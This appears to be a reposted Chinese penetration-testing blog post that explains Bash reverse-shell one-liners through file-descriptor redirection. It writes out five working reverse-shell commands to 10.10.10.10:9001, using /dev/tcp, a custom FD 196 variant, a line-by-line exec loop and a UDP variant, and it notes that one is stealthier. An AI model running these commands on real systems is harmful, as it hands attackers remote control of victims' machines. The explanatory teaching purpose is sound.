文章总结: 本文拆解了多种Bash反向Shell命令,核心在于文件描述符的重定向与复用。文章详细解释了经典payload如sh-i>&/dev/tcp/…以及自定义FD玩法如196版本和逐行执行模式。主要结论是理解FD机制比盲目复制payload更重要,掌握原理后能灵活编写适应特殊场景的变体。 综合评分: 88 文章分类: 渗透测试,红队,实战经验
拆解那些千奇百怪的反向Shell命令
幻泉之洲
2026年7月12日 10:16 北京
在小说阅读器读本章
去阅读
渗透测试中拿到命令注入点后,反向Shell是控守目标的命门。revshells.com这类项目收集了大量payload,但很少有人把每条命令背后的文件描述符魔术讲透。这篇文章逐一拆解常见的Bash反向Shell写法,看完你就不会再盲目复制粘贴了。
什么是反向Shell
说白了,反向Shell就是让受害机器主动连回来,把它的命令行输入输出都交到你手上。正常的Shell是你连过去操作,反向Shell是它来找你。圈里也管这招叫“shell shoveling”——把Shell铲过来。
你不需要直接接触目标的终端,只要它执行一段精心构造的命令,你就能远程发号施令。这才是后渗透阶段最常用的驻留手法。
基础:文件描述符
搞懂反向Shell之前,先得把文件描述符(FD)这关过了。任何Unix系统上,每个进程默认开着三个FD:
- 0 — STDIN,标准输入
- 1 — STDOUT,标准输出
- 2 — STDERR,标准错误
FD本质上就是内核给进程开的一条I/O通道,可能连着文件、网络socket、管道、终端等等。除了这三个默认的,你还可以自己定义新的FD,后面会看到怎么用。
拆解常见Payload
Bash -i 最经典版
sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
这条命令几乎每个渗透测试人都背得下来。拆开看:
sh -i— 用sh启动一个交互式Shell。sh通常软链到bash、dash之类的实际解释器。>&— 把标准输出和标准错误一并重定向。后面跟的目标是TCP连接。/dev/tcp/10.10.10.10/9001— Bash的伪设备文件,执行这行就会向指定IP和端口发起TCP连接。不是所有发行版都编译了这个特性,但多数CTF环境默认支持。0>&1— 把标准输入也绑到标准输出指向的同一个地方,也就是那条TCP连接。这样输入输出就全双向打通了。
整条命令的效果:目标机器上的sh进程,它的输入来自你的监听端,输出也回到你这边。你敲什么命令,它就执行什么。
Bash 196 文件描述符玩法
0<&196;exec 196<>/dev/tcp/10.10.10.10/9001; sh <&196 >&196 2>&196
这个变体用到了自定义FD,号码196是随便挑的。三个子命令用分号串起来,不管前面成败,挨个执行:
0<&196;— 让标准输入(FD 0)从196这个FD读。但196还没定义,这步只是先占个坑。exec 196<>/dev/tcp/10.10.10.10/9001;— exec直接在当前进程里打开一个读写FD(196),连到目标TCP。注意<>表示读写模式,不是只读或只写。sh <&196 >&196 2>&196— 启动交互式sh,并把它的输入、输出、错误全部绑到196,也就是那条TCP连接。
和上一种比,这种写法更刻意展示了FD的操控,不怕被某些安全配置误杀。
Bash 逐行读取执行
exec 5<>/dev/tcp/10.10.10.10/9001;cat <&5 | while read line; do $line 2>&5 >&5; done
这条风格迥异:它不直接给你一个交互Shell,而是把TCP连接里收到的每一行文本当命令执行,再把输出吐回去。
exec 5<>/dev/tcp/10.10.10.10/9001— 建一个读写FD 5,连到目标。cat <&5— 从FD 5不停地读数据。| while read line; do $line 2>&5 >&5; done— 管道的妙用:逐行读入变量line,直接$line执行,然后把标准错误和标准输出都重定向回FD 5。
这种非交互式的方式,在某些受限环境里反而更隐蔽,因为没有创建传统PTY。不过缺点是不能直接使用vim这类需要终端交互的程序。
Bash 5 更简洁的FD绑定
sh -i 5<> /dev/tcp/10.10.10.10/9001 0<&5 1>&5 2>&5
和前面196版本本质一样,只是把FD打开和绑定写得更紧凑。直接用sh -i 5<> /dev/tcp/...,把读写FD 5创建出来,然后0、1、2全部指向5。如果你嫌196版本太长,这个就够用。
Bash UDP 版本
sh -i >& /dev/udp/10.10.10.10/9001 0>&1
和经典TCP版本唯一的区别就是把/dev/tcp换成了/dev/udp。Bash同样支持UDP伪设备,但UDP无连接的特性会让这种Shell的稳定性大打折扣。丢包、乱序都可能导致命令执行错乱。实际渗透中几乎没人用,更多是出现在CTF的偏门考点里。
写在后面
这些payload看似五花八门,核心无非就是文件描述符的重定向与复用。掌握FD的玩法,你甚至可以自己随手写出适合特殊场景的变体。有人说反向Shell只是复制粘贴,但真正理解后你会发现,一条命令里藏着Unix进程模型的精巧设计。
复习材料:
哈佛CS61关于文件描述符的参考 https://cs61.seas.harvard.edu/site/ref/file-descriptors/#gsc.tab=0
Linux文档项目中对/dev/tcp和/dev/udp的说明 https://tldp.org/LDP/abs/html/devref1.html
维基百科文件描述符条目 https://en.wikipedia.org/wiki/File_descriptor
GNU Bash手册关于读写FD的章节 https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Opening-File-Descriptors-for-Reading-and-Writing
参考资料
[1] https://adityatelange.in/blog/revshells/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《拆解那些千奇百怪的反向Shell命令》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论